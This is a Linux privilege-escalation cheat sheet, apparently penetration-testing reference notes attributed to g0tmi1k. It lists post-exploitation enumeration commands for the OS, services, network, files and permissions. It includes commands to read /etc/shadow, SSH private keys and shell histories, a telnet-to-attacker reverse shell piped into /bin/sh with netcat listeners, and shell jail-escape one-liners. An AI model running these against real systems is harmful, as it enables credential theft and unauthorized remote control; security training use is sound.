Linux Privilege Escalation

Disclaimer: Notes taken from g0tmi1k

Enumeration Scripts

Post-Exploitation Enumeration Commands

Operating System

What's the distribution type? What version?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

What's the kernel version? Is it 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux
ps -ef
cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

What jobs are scheduled?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L

What other users & hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on

Whats cached? IP and/or MAC addresses

arp -e
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

# Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 80 and tcp dst 21

Have you got a shell? Can you interact with the system?

nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Is port forwarding possible? Redirect and interact with traffic from another view

ssh -L 8080: [email protected] # Local Port
ssh -R 8080: [email protected] # Remote Port

Is tunnelling possible? Send commands locally, remotely

ssh -D -N [username]@[ip]
proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything "interesting" in the home directories? If it's possible to access

ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been editing?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Can private-key information be found?

cat ~/.ssh/authorized_keys
cat ~/.ssh/
cat ~/.ssh/identity
cat ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/
cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

What can be found in /var/ ?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Is there anything in the log file(s) (that could help with local file inclusions?)

cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log,, mail.log, mail.warn, messages, syslog, udev, wtmp

If commands are limited, you break out of the "jail" shell?

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

How are file-systems mounted?

df -h

Are there any unmounted file-systems?

cat /etc/fstab

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

Any "problem" files? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files

More writeable file/directory commands

# World writable directories:
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';'
2>/dev/null | grep -v root
# World writable directories for root:
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';'
2>/dev/null | grep root
# World writable files:
find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm
-0002 \) -exec ls -l '{}' ';' 2>/dev/null
# Find world writable files in /etc:
find /etc -perm -2 -type f 2>/dev/null
# And the following command searches for world writable directories:
find / -writable -type d 2>/dev/null

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

How can files be uploaded?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp